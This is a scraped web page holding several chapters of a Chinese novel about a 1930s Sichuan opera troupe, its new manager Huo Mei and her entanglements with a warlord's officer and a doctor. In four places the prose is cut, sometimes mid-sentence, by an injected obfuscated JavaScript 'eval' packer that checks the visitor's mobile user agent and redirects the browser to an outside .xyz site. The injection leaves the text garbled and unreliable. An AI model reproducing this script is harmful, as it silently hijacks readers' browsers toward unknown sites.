心情真像辘轳上的水桶,有时饱满沉甸地提上来,有时又失控坠下去。待她走后,蔡行健仍沉浸在她的每一句话、每一个动作营造出的氛围中,只觉得来的路上更抓心挠肝。 霍眉下去嘱咐张大娘别把客人往蔡行健的那个包厢引,免得交谈声大,打扰了客人听戏。张大娘满口答应,夹着托盘在观众席巡视一圈,回厨房去了;结果她转头就看到个上了年纪的驼背老人,屁股坐在长椅上,上半身就卷下去,头根本抬不起来。 遂去拿了个枕头垫在他背后,又搬个矮凳用来搁脚,人便可半躺着,望见戏台。 老人的女儿谢过了她。张大娘没注意到也就罢了,这做女儿的也不主动提要求。城里人就是眼里没活。 这才端一杯太平猴魁、一盘瓜子糖果去楼上陪蔡行健。 不让客人进这个包厢果然是对的,蔡行健一直在讲他那个文明戏,讲着讲着又开始讲民主。这也就罢了,话题引申到孙中山的时候霍眉已经感觉到了不对劲,果然就听他道:“......北伐以来,吴佩孚、孙传芳的势力基本上都被消除了,冯玉祥、阎锡山选择归顺,那奉系再怎么说都在名义上接受了□□。我们在干什么?四川在干什么?‘天下未乱蜀先乱,天下已平蜀未平’,真不是一句虚言!” 霍眉真怕他下一句就是“四川这些军阀真不是个东西”,再怎么说他都是以范章骅朋友的身份出现在她身边的,把话说破了,叫她夹在中间很不好做人。 “真讨厌,”她忽地撅起嘴,“都说了我听不懂这些,蔡医生你一直说,我根本就接不上话!你是不喜欢听我说话吗?” 蔡行健感觉浑身的气血都涌上头顶:这是在撒娇吗? “怎么——怎么不喜欢?霍小姐有什么话要对我说的?” “自然是情情爱爱。” 他连忙“啊”了一声,双手抠着凳子边缘,脚也不自觉大力蹬踩住托泥。只见霍眉噗嗤一笑,将两条胳膊搭在包厢的栏杆上,皮肉被压得微微陷进去;那手臂本是玉藕色,被包厢檐角挂着的宫灯一照,变成了南瓜黄,想来摸上去是温热的。 她凝望着戏台,悠悠道:“下一场有我们大师姐。你且看着吧,再瞧不上情情爱爱的人,看她演《柳荫记》,也没有不感动的道理。” 又被戏耍一道。蔡行健捻了捻手指,心中觉得有些怅然。 晚上把蔡行健送走了,吃过饭,她在后台做成了第一双布鞋。在川西时,全家的鞋垫、布鞋都是她做的,穿起来舒服透气,干完活满脚都是泥巴,使劲儿搓洗也不会掉线。怎么就卖不好? 这几日她盯着每个过路人的鞋看,总结出了原因:城里人根本就不缺鞋穿,也不需要多耐磨,却很注重花纹是否精细。 实在触及到她的技能盲区了,她不太会绣花。 但像席芳心这种上了年纪、体重又大的人,还是很需要一双舒适称脚的鞋的,因此她特意为席芳心定制了一双,拿去感谢他听说了范章骅在漱金开枪掳人却没把自己当麻烦赶出去的恩情。至于说真正的罪魁祸首——那根簪子嘛......事情既已发生,无需回头再提。 席芳心正在看报纸。她瞟了一眼,瞟到他正在阅读的版面左下角有一张四寸的照片,正是那晚《白蛇传》最后一幕、白素贞和许仙伸手遥望的场景。虽然不知道写的什么,但肯定不是骂漱金的,不然就该选席玉麟跪在观众席的照片了......上去便拍马 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005152|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屁道:“总共唱了六场戏,这记者却偏偏选了咱们的照片啊!” 席芳心摆出一副很不以为然的样子,“应该就是随便挑的。” “才不呢。”霍眉指着王苏笑道,“肯定满篇都在夸漱金、夸大师姐。大师姐有七分肖你,不假时日,必能头角峥嵘。” “肖我不肖我有什么所谓?她是有七分肖白娘娘。你来做什么?” 她说明自己的来意,又把需要报销的金额背给他听。没法列出清单在纸上整理信息,霍眉纯靠脑子将那一桩桩大事小事记下来,再在嘴上算术,最后的结果和用掉的准备金分毫不差。 席芳心从抽屉里拿出钱,她点了点,发现多给了三块。 “升你做主管,月薪暂定六块。后台人员就不另招了,我瞧着你每天都有时间做工作以外的事,想必能胜任。” 漱金之前没有主管,都是班主责任的一部分;席芳心突然设立这么一个职位,是把自己的担子分出来了些。她高兴地跳起来,“能胜任能胜任。你就是把张大娘开了,我还能把她的活儿一起干了。她每月月薪多少?” 席芳心懒得理她,“把这个拿给玉麟。” 是一罐烫伤膏,锡制圆盖上印着一串洋文,而罐子外贴的价格标签已被撕走。 霍眉深鞠一躬,感觉身体轻盈到像在腾云驾雾,飘飘然到了练功房门口,扒在门框上露出一颗脑袋,学着他早上的语气大声说:“我一个月六块。” 满屋的人都看她。卡在相处的尴尬期,席玉麟已然为她模仿自己感到不快,又不知道是出于恶意还是好玩,一时举棋不定。 她娉娉婷婷扭过来,把烫伤膏塞到他手里。 “席班主给你的。别瓜兮兮的闷不做声,去跟你师父道个谢。” 他很快地答道:“嗯。” 霍眉的心情实在是很好。 现在她拿到了漱金的所有钥匙,所有人要外出也需向她打报告。还有了两项说大不大、说小不小的决策权:决定晚上那盆菜吃什么,决定下午演什么剧目。 其实发挥空间并不大。演员的工资和她这个月来唱了多少台戏、唱了多长时间挂钩,排班须得尽可能公平、均匀;一天内的几台戏也必须是不同风格的,若是三台单人独唱,那观众不得跑光。这又要求和其他的戏班提前协商好。 小小工作,霍眉拿下! 她受了鼓励,只觉身体源源不断地生发出活力;就是闭眼睡觉时,头脑都像排风扇那样嗡嗡地转,折腾得她睡不着。 后来想起来,是因为昨晚喝了那白色粉末。 这周五下午范章骅如期而至。他直接找到后台来了,霍眉那会儿正在刮片子,满手都是刨花水;他从身后突袭,抱着她的脑袋侧脸一顿乱亲。 穆尚文“嗐”地怪叫一声,抢过她手中的发片,自己刮去了。 霍眉将湿漉漉的五指晾在空中,用手腕把他的脸顶开;接着慢条斯理擦起手指,斜睨着他,不急着站起来。 僵持片刻,范章骅从善如流地攀着椅背半蹲与她对视,“见到我,不高兴?” 19. 出征 “我在工作呢。”她低声说,“你已经把我的生活打得够乱了,工作的时间也不留给我吗?” 他意味深长地笑了。 “没想打乱你的生活,想让你的生活按照我的规划转动而已。” 后台几个演员迅速化完妆跑出去了。今日是王好运第一次登漱金的戏台,还不会化妆,席玉麟坐在他对面正给他画。两人已是如坐针毡,王好运干脆闭上了眼;席玉麟听到这句话,投来飞快的一瞥。 她起身向他走去,瞳仁微微上抬望着他,“养鸟,笼子也要挂在屋檐下吧?你怎么只管把鸟捉住——”鼻音越说越浓重,她抿着嘴忍了忍,刚张嘴,话还没说出口,一滴眼泪率先坠下来。 “——不管鸟活成什么滋味呢?”她急促地结束掉这句话,喘着气,把脸忽然埋进他怀里。 范章骅投降似地举起双手,往后摇摇晃晃退了几步;腰却被环得很紧,毛茸茸的头顶轻轻蹭了他好几下。 “范章骅,你混蛋,我认了。这几天我浑身不舒服,骨头里面都是痒的,你就跟我玩失踪——” “行了,霍水小姐,起来。”他拍拍她的头顶,“等会去我家,给你补回来,好不好?做你那三瓜俩枣的工作去吧。” 霍眉遂抽身来到王好运身边,快马加鞭地给他勒头,顺便给了目瞪口呆的席玉麟一个警示的眼神。席玉麟也加快动作,蘸了一大笔黑颜料,刚沾上男孩的眉毛,占据了小半部分视线的帽檐忽地消失了。 那一笔歪了。 范章骅用食指顶着那个宽檐帽转着玩儿,绕到前面,端详他惨不忍睹的脸。 “你这烂脸还待在这儿做什么?别吓着千里了。”霍眉踢了踢他的小腿,“有多远滚多远。” 王好运心里叫苦:画歪了啊!匆匆拿起菜籽油又把那一小块抹掉,自个儿缩到角落去,拿白颜料把打底补上。不等席玉麟站起来,范章骅便道:“你也忒小看我了,尸山血海都见过,还能被这个吓到?但丑确实是丑。” “不好意思。”席玉麟鞠了一躬,刚迈开腿,又被范章骅喝住:“你是上次那个人?你说说看,霍眉当时为什么要躲在你身后?” “......不知道。范副官,上次是我有眼不识泰山,真的对不起。” 一巴掌重重落在化妆桌上。席玉麟这段时期不知被这些大人突然搞出的响动折腾了多少次,听到便下意识地后撤一步,后脚跟踢到了颜料桶,黑颜料立刻蔓延开。 他连忙又说了一声“对不起”,拽来一块抹布就蹲在地上擦,外衫的前后摆都沾上了颜料。 范章骅本也无意知道答案,等的就是这个反应,遂哈哈大笑起来。 又是一巴掌落在化妆桌上。 霍眉嗤道:“看到烂成这样的脸,你都能想起是谁啊?他当时很好看吧?留给你的印象很深吧?” “这是什么话,倒搞得我对男人有兴趣一样。”范章骅刚才也是被那毫无预兆的一巴掌惊到了,却并不恼,朝席玉麟扬扬下巴,“你问问他。一个男人,整天往脸上化妆,他大半有这样的兴趣。我就从来不爱听这些不男不女的玩意儿唱歌。” “既没有这种爱好,拦着人家不放做什么?还当着我的面。” “放放放,滚吧。” 眼见着席玉麟背对着自己起身,范章骅临时起意,忽然抬起靴子就踢。席玉麟不急不缓地闪身避过去了,抱起王好运需要用的颜料罐,头也不回出了门。 这一脚踢空了让范章骅觉得很没面子,已经沉下脸来;瞥向霍眉时,却见她专心致志地洗拖把,并未注意到刚才的小插曲。 晚上的约会进程还是很顺利,兜风,吃饭,逛街,上床,洗澡。 霍眉如愿躺在了大浴缸里,要是她能一人独享、而不是现在这样坐在范章骅怀里就好了。水面上飘着玫瑰花瓣,白汽氤氲,恍若仙境。 范章骅拿个浴花帮她搓背。霍眉从没用过浴花,都是拿毛巾洗;她自认为洗得很干净了,但其实用浴花还能格外搓出几条肤色的皴皮。他没吱声,打开橡胶塞,让水流走了。 “霍眉。” “嗯?” 他盯着她雪白肩背上尚未消散的牙印,“我要去打仗了。” “啊?”她猛地回过头来,浮在水面的长发随着动作悠然打了个圈,环住她的身体,“二刘在打,怎么要你去?” “西南乱不乱,刘湘说了算。孙珍贻原来是刘湘的旧部,”他的语气漫不经心,然而霍眉惊骇不已,意识到他正在说些了不得的隐情,“他很早之前就跟我说过了,四川这样没意思,中国人打中国人。” “......很早之前?你们.......” “我一开始就是孙珍贻的人。整个巴青都在骂我卖主求荣吧?” “那哪能。我算不得巴青人,算你的枕边人。” 范章骅没理会她的表忠心,枕着大理石的壁沿,望着天花板陷入回忆。 “那个时候我六岁,军阀之间打得热火朝天,与家人失散了,是孙将军收留了我。他把我送去读了小学、中学、陆军速成学堂,然后到王茂山的部队潜伏。王茂山是个软蛋,刘文辉、刘湘两边奉承,什么袁铭祖、熊克武这样的小军阀也巴结着,甚至去哥老会挂了个名儿,我为什么要给这种人当部下?” “所以孙将军派我去增援。等他打赢这一仗,我们就把巴青城拱手奉上。” 霍眉心道哟呵你还有点小觉悟啊,舒服日子过惯了,到时候真能舍得拱手奉上? “为什么,你们想追随刘湘吗?” “屁,老子哪个都不追随。只是因为刘湘当四川王是大势所趋了。四川的军政大权越早统一越好,我们早该停止内战了。我……”他顿了顿,“也受过战争之苦,家破人亡。” “那为什么兜这些弯子,不直接去刘湘部下?” “......你太看得起我了。”他喟叹一声,“孙将军过年去拜访他,他在外面喝酒,都懒得回家见。我去给他倒茶人家都不收的。” 霍眉转身趴在他胸口,小声说:“我觉得你都是好大的官了呢。” “山外多的是山。别说巴青在四川是个没名气的小城,四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012700|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川之外,还有河南、湖南、广东......” “千里、千里。”她绕住他的肩颈往上爬,屏气凝神,雾气中两双纯黑的眼睛咫尺对望,“那些山离的远,我不认识。我就认识一个范章骅,在我心中他就是英雄。” 一瞬间范章骅有种掐住她脖子的冲动。 他素来知道她是个满口假话的骗子,但是一个乐意演,一个乐意陪着演,倒也没什么不好的。霍眉说你最帅、你懂好多、你对我真好、我好爱你,是假的也无所谓,他不在乎;但是他真的在乎自己算不算个英雄,当这话从霍眉那张嘴一句实话也没有的嘴里溜出来时,他几乎要被刺痛。 范章骅攥紧浴花的同时,霍眉就敏锐地觉察到了他情绪的不对劲,往后躲了点。 “你干嘛?” 她顺势起身拿浴巾,把自己擦干穿上睡衣,笑眯眯道:“泡久了要晕了,你出来,我给你擦。” 范章骅站出来,一碰冷空气,火气先被压熄了大半。身前的女人动作很快,没让他身上的水珠气化、带走多少热量,温暖的睡袍就裹了过来。 霍眉低着头帮他系腰带,半干的长发沾湿了一大片背部的衣料;从他这个角度,恰好能瞧见婴儿般修长、平直下垂的两翼睫毛。 她小声说:“六岁就进了军营,这么多年,一定很不容易吧。” 他算是彻底泄气了。 谁叫那一个乐意陪着演呢。 红酒入喉,颅内几乎闪过一道白光。霍眉体验到的快感一次比一次强烈,虽已在床上,仍像泡在装满热水的缸中,每一个毛孔都扩张到极大,清晰地接受外界的一切。 手臂上压着个熟睡的人。 狗日的范章骅,知道烟粉不是好东西,自己根本不沾的。 她缓缓抽出手臂,在这间自己无比熟悉的宅邸里游荡,那些佣人见了她都会喊一声“霍小姐”。 一路走到书房。 此人平日里根本不读书,却整了个大书房,架上摆满成套的、书页都没裁开的经史子集。偏偏不读书的霍眉也喜欢这个氛围,没事爱来坐坐。 桌上的排场也很大:百乐钢笔、洋墨水、玉蟾蜍镇纸、铺满了代表他思维痕迹的烟灰的玻璃缸……最中间是羊皮笔记本。 不知道他写了什么。霍眉翻了两面,只知道这字看起来就不像文化人写的,没有筋骨,歪歪倒倒。 又翻了几面,纸面的正中央贴了张从图画书上剪下来的绣像画:穿明制官府的一个消瘦老者,手持象牙笏板。 范章骅的字迹在下面狗爬三行,犹不尽兴,还画了几个简笔小拳头。也不知道是在为此人呐喊还是想揍此人。 摸了一根桌角的哈德门香烟出来抽,好烟就是好烟,没有老刀那么呛。她把剩下半盒塞进包里,走进盥洗室,又顺了一筒卫生纸、一包泡澡用的干花。 女佣端了果盘过来,“霍小姐,睡不着觉吗?请吃点水果吧。” 她吃得磨磨蹭蹭。女佣是个懂事的,天快亮时又切好一盘,用纸袋装好给她;送到门口,又替她叫了黄包车,提前结账。 20. 掌刑 下车时,天空仍是深黛色的,没有完全亮起来。看天色以为尚早,可漱金里已经传来啊啊呀呀的吊嗓子声了。 水果大爷已经出摊了。降温不少,他仍光肚皮折在躺椅里,挤出密密一叠皱纹。 “夜不归宿!”他叫道,“霍小姐夜不归宿啊!” 霍眉踢了板车的轮子一脚,“我还怕人说这个?” 她先帮着张大娘在外面打扫,十一点才拿着拖把进观众席,然后和拿着拖把出来的席玉麟撞个正着。面面相觑,席玉麟手指都要抠进拖把杆,眼神飘乎。 最终她说:“看不惯我一个月六块?抢工作来了?” 见她没提昨天的事,席玉麟松了口气,“以为你没回,马上观众要入场了。” “行。”她点点头,“我要去告诉席班主,别人都在练功的时间,席玉麟在偷懒!” 他嗤一声,脚步轻快地跑了。 不需要上台,他下午仍然在练功房带孩子,霍眉捧着针线凑热闹。 早上练的是唱腔和基本功,下午练表演,例如跳、转、翻、毯功、扇子功、水袖功等等。川剧不以唱腔见长,却以刻画人物的精细见长,融唱、念、做、打、舞于一体,因此表演的功课总是更加多些。 席秉诚今日也在,两人一左一右站着,怕这些学生受伤。 这样看来,才晓得刘洪生带走的学有所成的弟子有多少。那日演白蛇,她看着十几个虾兵蟹将都能同时做旋子,谁知漱金这边一个能做的都没有,那些孩子排队一个个上来,脚还没蹬高身子已经往下栽。 “不要哈腰!不要哈腰!地上有金子啊?”他恨铁不成钢地吼道,“王好运!” 王好运算是最好的,勉强还能绕着空地蹦一圈。席秉诚的表情遂有了极大的缓和,叫他再向其他学生示范一遍,夸奖道:“不错,高度很好。” 人家孩子刚咧起嘴角,蹦到这边来,席玉麟就冷不丁伸出戒尺把他在空中乱飞的手打了一下。 王好运连忙举平双臂,但下一秒就失去平衡,下巴快要磕到地板的时候被席玉麟拽着背心肩带薅起来。 但为了找回平衡而划动的手也往席玉麟脸上狠狠招呼过去,蹭下满手的绿色药膏。 “嘶——” 席玉麟疼得差点把手松了,但到底还是把人拎直。那孩子讪讪地走近一步,又瞅了瞅手上的药膏,似乎还在考虑要不要给他抹回来。他只得咬牙切齿地把那孩子推了一把,“再排队去!” “人家很累了,”霍眉在后面起哄,“你自己怎么不去排队啊?” 席玉麟只当没听见。席秉诚倒是回头来跟她说笑,“他是师父亲手培养出的高徒,功夫最扎实。” “哪能有大师姐扎实。” “有啊。” 席玉麟默默听着,一时半会儿没听见霍眉说话;回头看,发现那双桃红色的嘴唇已经小幅度地蠕动起来了,知道字句正在其间琢磨出形状、准备滑出,立刻道:“因为大师姐十几岁才入门,我有童子功。倘若她也是三岁开蒙,肯定比我强多了,行了吧?” “哎哟,哎哟,”霍眉眯着眼笑起来。她的眼角平日里就上翘,笑的时候眼中部也往上弯,像片细长而柔软的柳叶,“干嘛呀,我正打算夸你呢。” “你才不会。” “我怎么不会了,昨天在后台,你没见着我有多会夸人?” 席玉麟偏过脸去,朝着学生喊:“下一个!” 接下来的场面有点太可怜了,漱金的这些学生一个比一个不行;两人又不是师父,只是师兄,不能像席芳心对他们那样使用一些激进的手段,到最后都有些微微愠怒,但憋着没发大火。 到了饭点,席秉诚没有开门放人的意思,他看着席玉麟。 席玉麟于是点了八个人的名字,叫他们别吃饭了,桩上蹲着去。 来到厨房,霍眉顺势就坐席玉麟身边了——这是她第一次主动坐到他身边,长椅又没有作为划分,因此她靠得很近,丝毫不觉得不自在。他匆匆埋头,就听着她用气音说:“瓜脑壳,大师兄刚才就等着你开口,让你来得罪人。” “不要这么说。”他也用气音,“我是掌刑师兄,就该我开口的。” 掌刑师兄,听起来就是被大家要恨透的师兄......霍眉站起来正要夹菜,发现就在说话的工夫里,本就没几片的猪耳朵已经一片也不剩,筷头于是一个急转弯夹走了席玉麟碗里的一支猪耳朵。席玉麟顿时极为震撼,追夹住猪耳朵的另一头用力一抖,从她的筷子下扯回来。 哪有这样的事?那片猪耳朵是他自己夹的,也就是说碰了他的筷子、碰了他的口水......霍眉一个女孩子,真是太不矜持了。但她就不去拿席秉诚碗里的,分明是不把他当异性看。 “教你摸个鱼。”她仍笑眯眯的,似乎没注意到他张嘴又用力抿上的小动作,“别那么认真地管。过段时间班主来检查,自然会觉得你不适合当掌刑师兄,可能就换人了,或者他亲自包揽全局......” “我没有不适合。而且师父年纪大了,别再让他劳神了。” 哎,实心眼。该你倒霉去吧。 几天后霍眉又做出了一批鞋子,很大方地送给了王苏和穆尚文,因为知道她们肯定会硬塞钱。但一直这样内部消耗也不是个事,她还拿此事特地征求了王苏的意见。 王苏表示自己是真的很喜欢这双鞋,等冬天来了,还想请她再做一双戴绒的。 “我跟你客气什么呀?店里卖的鞋没你这个千层底厚,就算负重站很久也不累脚。”她拿在手上翻覆着看,“就是太素了。这样,你拿到码头边上卖,应该有市场的。” 穆尚文插嘴道:“码头不安全啊,离城区太远了。别去那儿摆摊。” 上次打包带回的水果有很多,她吃到齁嗓子的后,把剩下的分给了穆尚文。现在这丫头对她态度好了不少。 “那肯定。不如这样,我下回跟鲁七说,让他帮忙带去码头。” 霍眉在这种事上有超乎寻常的敏锐,原在闭眼满脸享受地泡脚(水上飘着两片玫瑰花瓣),忽然睁开眼问:“谁是鲁七?” 穆尚文大声道:“她男人。” “他不是我男人。”王苏笑着打了她一下,“鲁七算是我的..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017484|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .救命恩人?也是我来巴青的第一个朋友。我们关系还挺好的,他每个月会来漱金看我一次。” 霍眉心道:这世道哪有纯洁的朋友关系。这个鲁七肯定喜欢王苏,只是很有分寸。 不客气地来讲,这名字一听就是家人按长幼次序随意取的,和她那个“老大”差不多,可见家世普通;长大后自己没改名字,可见自己也没混出什么明堂。霍眉听到王苏那么快就否认还是挺欣慰的,没乱找男人,闭眼又享受泡脚水去了。 只是心里的愁丝又被勾起来了,每每想起婚姻大事,便感觉自己正抱着一根浮木颠簸于黑海巨浪之中。我要是干她们这行就好了,她面无表情地想。王苏若是知道,肯定要觉得这想法恶心,可是天知道唱戏有多容易接触到上流社会的男人?我若能有这门技艺,早就挑个金龟婿嫁过去了,何至于在这里跟疯子一样的范章骅纠缠。 要怎么办啊,都二十五岁了。 煤油灯熄了,宿舍里一片此起彼伏的均匀呼吸声,衬得夜色静到可怖。她蜷在被子里,意识到冬天快来了,从怡乐院带来的那床寝根本不够厚——寒凉先是浸透她的脚,然后越爬越上。 霍眉忽然心慌气短起来,不知是因为寒冷还是毒瘾,又或是别的什么原因。披衣起身,抽出一根哈德门,先摸出枕头下的火柴点燃了,然后夹着烟匆匆跑到室外。 实在没办法的话,振良他不能不管我吧。 练功房像往常一样留着盏灯,里面的动静不算大,似乎只是在走台步。 “娘娘情真意坚令某佩服......”声音小下去,脚步绕着四壁一遍一遍地走,“娘娘情真意坚另某佩服。” 速度放慢,“娘娘,”向前几步,轻轻的一声跺脚,“情真——意坚——” 霍眉听着这片大寂寥中唯一的响动,把烟慢慢抽完了。 第二日,军队出征。 从前王茂山时期还要每个街道都选代表站在街的两边夹道相送,这孙珍贻还好,没造成太严重的扰民,连军靴踩在石子路上的声音都听来舒适了不少。她睡了个小懒觉。 起身去开大门。水果大爷见着个能说话的人,开始抱怨军队把浮尘踩得到处飘,削好的荸荠也脏了。 霍眉说那你二十文卖给我。话音未落,一道强光便闪过。 她吓得差点跳起来,以为自己脑袋里闪来闪去的强光都能具象化到眼前了,这不是幻觉又是什么?那烟粉还能致幻? 水果大爷却指着接对面的一架设备——三根细长的金属支架撑起一个黑盒子,很有见识的样子,“相机。” 黑盒子后钻出一个年轻人,收了长枪短炮背好,过马路朝两人走来。“这闪光灯是太亮了,打扰到二位,真不好意思。我叫谭枫桥,是巴青日报的记者。” 谭枫桥长着张娃娃脸,学生气很浓,说着还掏出一张名片双手奉上递给霍眉,“我见过你,在漱金演白蛇传的那晚。那场庆功宴是我报道的!” 一看就是刚出社会不久,跟人打交道一板一眼,对漱金的小主管都要递个名片。霍眉语气遂也很友好:“那张白娘子和许仙的照片是你刊登的吧?” 21. 芳心 “是的!我和我的两位同事都非常喜欢漱金的演出!” 这两句聊下来便算是熟人了。谭枫桥又解释道,刚才是在拍军队行进过去的背影,此次巴青将调动八千人支援沱江防线。 水果大爷似乎很感兴趣,拉着谭枫桥不放人,又问东问西;作为记着,谭枫桥的信息自然是灵便,本人又是个自来熟,便一屁股坐在板车上为他解惑。 霍眉默不做声儿在旁边听,听出了沱江根本不算前线,也有刘湘本部的军队驻扎。巴青防区派兵或不派兵似乎是无关紧要的。而刘湘内寻同盟,外也有靠山,甚至在今年夏天把本次作战计划转交给了蒋委员长,得到了亲笔复函,批准他便宜行事。 “没好事啊,没好事。”水果大爷摇头叹气,“打来打去,还是要老百姓出钱出力出儿子。小谭你不要用屁股压我的纸盒——” 谭枫桥跳起来,“不一定啊大爷。战国多不义之战,后来六王毕,四海就一了嘛。” “你们这种年轻娃娃,念了几本书,就不把自己当老百姓了。” 谭枫桥立刻急眼了,又一屁股坐在那摞打包用的纸盒上,和水果大爷吵了起来。 霍眉听了一会儿,发现他们接下来的讨论不能为“巴青安不安全”和“范章骅能不能死”这两个问题提供任何有力支撑,便拿着空泔水桶往回走。 下午给穆尚文勒头的时候,张大娘拿来一个包裹给她,说是有人送到漱金的。 她腾不出手,穆尚文便帮她撕开了,一下子被勒成两条朝上细缝的眼睛都猝然睁大:“还说没有男人送你礼物?” “啊?”霍眉弯下腰看,一罐双妹牌雪花膏,瓶颈上用丝带系着一张写了字的卡片。 下一场穆尚文的戏需要后台,她也不敢轻易走开,目前漱金最值得信任的两个演员只有席秉诚和王苏——绝对稳健的台风,如果台上有他们时,她是可以开溜去上个厕所的。所以一直等到下午的戏演完、吃饭的时候,她才得空去问卡片上写的啥。 席玉麟仔细辨认:“近日得奇石一件,冈......什么迤......什么,碧雾......” “你行不行啊?” 他本想辩解你看这写的比狂草还狂草,别是个医生写的吧?转念一想又不吭声了,自己文化水平确实不高,就能读个剧本而已。万一不是人家写得潦草,而是他不认得呢? 遂转身冲回房拿出《学生字典》对比一阵,算是把信念出来了: 近日得奇石一件,冈峦迤逦、碧雾濛濛,余喜不自胜,欲邀霍小姐于礼拜五晚前往观之。若小姐能喜吾之喜,则吾喜更甚也。 清秋路165号蔡行健 她了然,点点头,“懂了。” 席玉麟刚放下碗就要去接着训学生,她顺手收起一叠碗就要回厨房,两人都没时间闲聊,一边起身一边争分夺秒地说话。 “懂什么了?” “这还不明显?都邀请到家里去了,他要跟我做啊。” “......”席玉麟撇头走了。 其实霍眉最近有在慢慢减少帮张大娘干活儿,当主管本就费了许多神,又要格外纳鞋,实在分身乏术。张大娘倒不是个不讲理的,最近与她还更亲近了些,问起了上回来漱金找她的那个瘦子怎么回事。听闻是追求者,忧心忡忡,只觉得前男友啊追求者啊这一大帮子人要败坏她的名声。 等学徒们排队洗碗自己的碗,张大娘就拿拖把拖地;她只倚在一边,与其闲聊。 直到晚上才又碰着抱着盆衣服到水龙头下的席玉麟。 你说他不爱干净吧,他洗得还挺卖力,都要把那块公共洗衣板摁断了;你说他爱干净吧,目测这些外套褂子长裤短裤袜子是攒了一周的成果,高高堆成小丘。 气温已经降到十几度,漱金的许多男孩在室内仍穿着那种夏夜街头每个老头一件的无袖马褂,霍眉原以为是动起来太热了。现在不禁开始怀疑:是不是他们想少洗几件衣服啊? “席玉麟,”她蹲下来,看着他洗衣服,“我打算跟蔡行健好。” “你自己的事,跟我说干嘛?” 她眯起眼,“你跟我聊一下嘴巴是会长鸡眼吗?因为每个人来聊天时你都回敬这么一句,久而久之,已经没人跟你说自己的事了,没发现自己没有朋友吗?别给脸不要。” 他静默一下,开始非常用力地搓外套上的黑颜料,搓得泡沫四溅。霍眉抹了一把脸上的泡沫星子。最终他说:“你不怕那个副官回来找麻烦?” 霍眉于是给他分析:第一,那场舞会上,范章骅根本不敢拂蔡行健的脸面,可见他还是得敬这种巴青老豪绅几分;第二,范章骅是个喜怒无常的疯子,被自己坑了一次后更疯了,而蔡行健似乎不怎么动怒;第三,范章骅和她的关系是嫖客和妓女,双方都很清楚自己的定位,都没有流露出要结婚的意思,而蔡行健跟她相识的场合就截然不同了。 听到“结婚”这个词席玉麟着实愣了愣,他以为霍眉是个没心没肺找乐子的,想不到是冲结婚去的。 “我觉得,”他谨慎地组织语言,因为意识到这确实是自己第一次帮他人出谋划策,“他好像不大尊重你。若他也有那意思,哪有第三面就把人约到家里......赏石的。” 这回轮到霍眉茫然了,“那有那的意思的人会约我出去干什么啊?” “就散散步、喝喝茶什么的。” 大眼瞪小眼,他又补充:“我身边的关系好的情侣就这样。” “那能一样吗,你师父和师叔也谈不上结婚的问题啊。” 他抓着被搓成棍状的衣服一路蹭到盆地,差点把手指扭了。自己从来长在师父和师叔身边,鲜少外出,也不知别家夫妻是怎么回事,是直到八九岁听人嚼舌根才发现不对劲的;霍眉只在白蛇传那天晚上见过俩人同时出现,他们甚至没说上一句话,她这都能看出来? 急急压低声音道:“嘘!别声张,叫师父落人口实了。” “这他妈的还需要我声张,他俩往那儿一站,硬是没凑出一人份的阳气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15023579|161887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 席玉麟觉得笑出来不厚道,但霍眉粗俗的描述实在很好笑,最后把笑转化了一声咳嗽。他对着盆甩了甩手,忽然扭头道:“霍眉,你真的挺聪明的。” 霍眉瞅着他,半晌没说话。不知道为什么,他每次说“聪明”这个词的时候都让她莫名不舒服,像阵毛刺刺的风刮进来,把她井然有序小屋中的物件吹得翻倒移位。 周三王传立便来送了一次粉包,说副官特意把他留在巴青照看她;周五还是去了,穿的旗袍。 她现在拿得出手的衣服一共有两件:一件是不久前买的法式露肩长裙——其实这件也不日常,谁把这玩意儿穿上街啊;另一件就是这条跟了她很久的华尔纱旗袍,酒红色印花,还是比范章骅更早的一位大主顾送给她的。那个男人因为手上破了道口子,引发全身感染,死了。 